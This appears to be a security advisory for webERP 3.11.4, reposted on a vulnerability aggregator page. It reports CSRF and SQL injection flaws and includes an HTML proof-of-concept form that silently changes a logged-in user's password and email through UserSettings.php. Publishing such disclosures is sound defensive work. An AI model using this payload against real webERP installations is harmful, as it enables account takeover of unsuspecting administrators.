webERP 3.11.4 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

webERP 3.11.4 - Multiple Vulnerabilities, CSRF, SQL Injection, Potential Admin Acces


                                                # Title: webERP Multiple Vulnerabilities
# Author: ADEO Security
# Published: 30/06/2010
# Version: 3.11.4 (Possible all versions)
# Vendor: http://www.weberp.org

# Description: &#34;webERP is a complete web based accounting/ERP system
that requires only a web-browser and pdf reader to use. It has a wide
range of features suitable for many businesses particularly
distributed businesses in wholesale and distribution. It is developed
as an open-source application and is available as a free download to
use. The feature set is continually expanding as new businesses and
developers adopt it.There are on average 5,000 downloads per month.&#34;

# Credit: Vulnerability founded by Canberk BOLAT at ADEO Security Labs
- Mail: security[AT]adeo.com.tr
- Web: http://security.adeo.com.tr

# Vulnerabilities:
1) CSRF: Attacker can add new administrator to the system. All files
have this issue. See #PoC section.
2) SQL Injection: Application offer disable the magic_quotes_gpc.
Attacker can inject sql codes if exploit the CSRF vulnerability. HTTP
Requests must filtered.

# PoC (CSRF):
&#60;html&#62;
&#60;body&#62;
&#60;form method=&#34;POST&#34; action=&#34;http://server/UserSettings.php?&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;RealName&#34; VALUE=&#34;ADEO-Security&#34;&#62;
&#60;input type=&#39;hidden&#39; name=&#39;DisplayRecordsMax&#39; VALUE=&#34;10&#34;&#62;
&#60;input type=&#39;hidden&#39; name=&#39;Language&#39; VALUE=&#39;en_US&#39;&#62;
&#60;input type=&#39;hidden&#39; name=&#39;Theme&#39; VALUE=&#39;green&#39;&#62;
&#60;input type=&#39;hidden&#39; name=&#39;pass&#39; value=&#39;adeopass&#39;&#62;
&#60;input type=&#39;hidden&#39; name=&#39;passcheck&#39; value=&#39;adeopass&#39;&#62;
&#60;input type=&#39;hidden&#39; name=&#39;email&#39; size=40 value=&#39;[email protected]&#39;&#62;
&#60;input type=&#39;hidden&#39; name=&#39;Modify&#39; value=&#34;Modify&#34;&#34;&#62;&#60;/div&#62;
&#60;/form&#62;

&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1